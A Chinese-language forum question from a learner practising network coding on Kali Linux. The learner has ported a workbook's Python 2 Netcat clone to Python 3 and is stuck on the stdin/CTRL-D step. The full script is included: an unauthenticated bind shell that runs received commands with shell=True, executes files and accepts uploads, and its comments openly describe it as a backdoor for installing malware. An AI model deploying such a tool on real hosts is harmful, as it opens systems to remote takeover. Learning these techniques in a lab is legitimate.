我正在使用Kali Linux VirtualBox机器练习网络编码。我正在从工作簿中使用Python练习Netcat模拟。问题是工作簿使用的是python 2,而我使用的是Python3。我在两个不同的终端中运行代码,一个在服务器上运行脚本以侦听连接,另一个在终端上运行脚本作为客户端连接到服务器。
./ Netcat.py -l -p 9999 -c
以服务器模式运行脚本。
./ Netcat.py -t本地主机-p 9999
以客户端模式运行脚本。
在客户端模式下,如果未通过stdin发送任何内容以按命令提示符,则按CTRL-D。
在提示符打开的情况下,您应该能够发送回常规命令,例如“ ls”,以查看目录中的文件列表等。但是在尝试绕过sys.stdin.read()时出现错误。
这是脚本:
#!/usr/bin/python3
"""
Netcat is the utility knife of networking for reading from and writing
to network connections using TCP or UDP. Netcat is designed to be a dependable
back-end investigation tool.
Features include:
- Port scanning
- Transferring files
- Port listening
- Backdoor
"""
"""
We begin by reading in all of the command-line options,
setting the necessary variables depending on the options
we detect. If any of the command-line options don't match
our criteria, we print out a useful usage information.
We are trying to mimic Netcat to read data from stdin
and send in across the network. If you plan on sending
data interactively, you need to send a CTRL-D to bypass
the stdin read.
Then we set up a listening socket and process further
commands (upload a file, execute a command, start a
command shell).
"""
import sys
import socket
import getopt
import threading
import subprocess
# Define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
# The main functions for handling command line arguments
def usage():
print("Netcat Net Tool")
print()
print("Usage: Netcat.py -t target_host -p port")
print("-l --listen - listen on [host]:[post] for "
" incoming connections")
print("-e --execute=file_to_run - execute the given file upon"
" receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a"
" file and write to [destination]")
sys.exit()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
# check the length of the command line input.
if not len(sys.argv[1:]):
usage()
# read command line options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "listen"):
listen = True
elif o in ("-e", "execute"):
execute = a
elif o in ("-c", "commandshell"):
command = True
elif o in ("-u", "upload"):
upload_destination = a
elif o in ("-t", "target"):
target = a
elif o in ("-p", "port"):
port = int(a)
else:
assert False, "Unhandled Option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
"""
Now we will put in the plumbing for some of these
features. Starting with our client code.
We start by setting up our TCP socket object and test
to see if we have received any input from stdin. If
all is well, we ship the data off to the remote target
and receive data until there is no more data to
receive.
Then we wait for further input from the user and
continue sending and receiving data until the user
kills the script.
"""
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to our target host
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
# now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response),
# wait for more input
buffer = input("")
buffer += "\n"
# send it off
client.send(buffer)
except:
print("[*] Exception! Exiting.")
# tear down the connection
client.close()
"""
Now we move on to creating our primary server loop
and a stub function that will handle both our command
execution and our full command shell.
"""
def server_loop():
global target
# if no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
"""
Subprocess provides a powerful process-creation interface
that gives you a number of ways to interact with client
programs.
We are simply running the command that's passed in. Running
it on a locale OS and returning the output from the command
back to the client that is connected to us.
"""
def run_command(command):
# trim the new line
command = command.rstrip()
# run the command and get the output back
try:
output = subprocess.check_output(command,
stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# send the output back to the client
return output
"""
Now we need to write the code that handles uploads, command
execution, and our shell.
Our first chunk of code is responsible for telling us if
our network tool is set to receive a file when it receives
a connection. Useful for upload-and-execute exercises or
for installing malware and letting our malware remove our
Python callback.
We receive the file data in a loop to make sure we receive
it all. Then we simply open a file handle and write out
the contents of the file. The wb flag ensures that we are
writing the file with binary mode enabled which ensures
that uploading and writing a binary executable will be
successful.
Next we process our execute functionality, which calls
our previously written run_command function
and simply sends the result back across the network.
Our last bit of code handles our command shell; it
continues to execute commands as we send them in and sends
back the output. You'll notice that it is scanning
for a newline character to determine when to process a command.
Which makes it netcat-friendly. However, if you are
conjuring up a Python client to speak to it, remember
to add the newline character
"""
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all bytes and write to our destination
file_buffer = ""
# keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send("Sucessfully saved file to"
"%s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to"
"%s\r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<Netcat:#> ".encode('utf-8'))
# now we receive until we see a linefeed
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
main()
main()函数的结尾是CTRL-D起作用的地方:
def main():
global listen
global port
global execute
global command
global upload_destination
global target
# check the length of the command line input.
if not len(sys.argv[1:]):
usage()
# read command line options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "listen"):
listen = True
elif o in ("-e", "execute"):
execute = a
elif o in ("-c", "commandshell"):
command = True
elif o in ("-u", "upload"):
upload_destination = a
elif o in ("-t", "target"):
target = a
elif o in ("-p", "port"):
port = int(a)
else:
assert False, "Unhandled Option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
服务器端在左边,客户端在右边